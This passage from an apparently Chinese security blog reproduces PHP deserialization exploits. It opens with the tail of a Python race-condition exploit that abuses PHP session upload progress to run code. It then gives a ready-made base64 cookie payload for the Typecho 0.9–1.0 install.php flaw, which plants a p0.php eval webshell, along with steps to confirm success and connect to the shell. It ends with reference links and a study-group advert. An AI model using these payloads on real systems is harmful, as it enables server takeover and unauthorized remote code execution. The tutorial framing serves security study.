'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'DNT': '1',
'Cookie': 'PHPSESSID=20190506',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
proxy = {
'http': '127.0.0.1:8080'
}
data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}
files={
'file':(r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo();\";}}',f,'text/plain')
}
resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #,proxies=proxy
resp.encoding="utf-8"
if len(resp.text)<2000:
print('[+++++]retry')
else:
print(resp.content.decode('utf-8').encode('utf-8'))
et.clear()
print('success!')
if __name__ == "__main__":
ip=sys.argv[1]
port=int(sys.argv[2])
et=threading.Event()
for i in xrange(1,40):
threading.Thread(target=exp,args=(ip,port)).start()
et.set()
一边运行脚本,一边打开burp抓包。修改以下三处
最后把exp.py
中的代理(proxy)去掉,直接跑exp.py
Typecho
Typecho是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。基于PHP5开发,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,适用范围十分广泛。
漏洞介绍和复现
Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。通过利用install.php页面,直接远程构造恶意请求包,实现远程任意代码执行,对业务造成严重的安全风险。
影响版本:Typecho 0.9~1.0
漏洞出现在install.php页面,访问http://192.168.186.1/build/install.php?finish=1
使用BP进行抓包,发送到Repeater,并将POC文件中的Cookie和Referer复制到BurpSuite中修改Referer的IP为192.168.186.1(个人ip),如图所示。
POC
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php
返回状态码为500的数据包就代表成功了。用webshell工具链接路径/build/p0.php即可
反序列化漏洞,博大精深,危害巨大。
https://blog.csdn.net/solitudi/article/details/113588692
https://blog.csdn.net/a3320315/article/details/104118688/
https://blog.csdn.net/zz_Caleb/article/details/96777110
https://blog.csdn.net/weixin_44632787/article/details/119185112?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link
https://blog.csdn.net/solitudi/article/details/113588692?spm=1001.2014.3001.5502
https://www.cnblogs.com/chrysanthemum/p/11785453.html
https://www.freebuf.com/news/202819.html
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部群永久有效!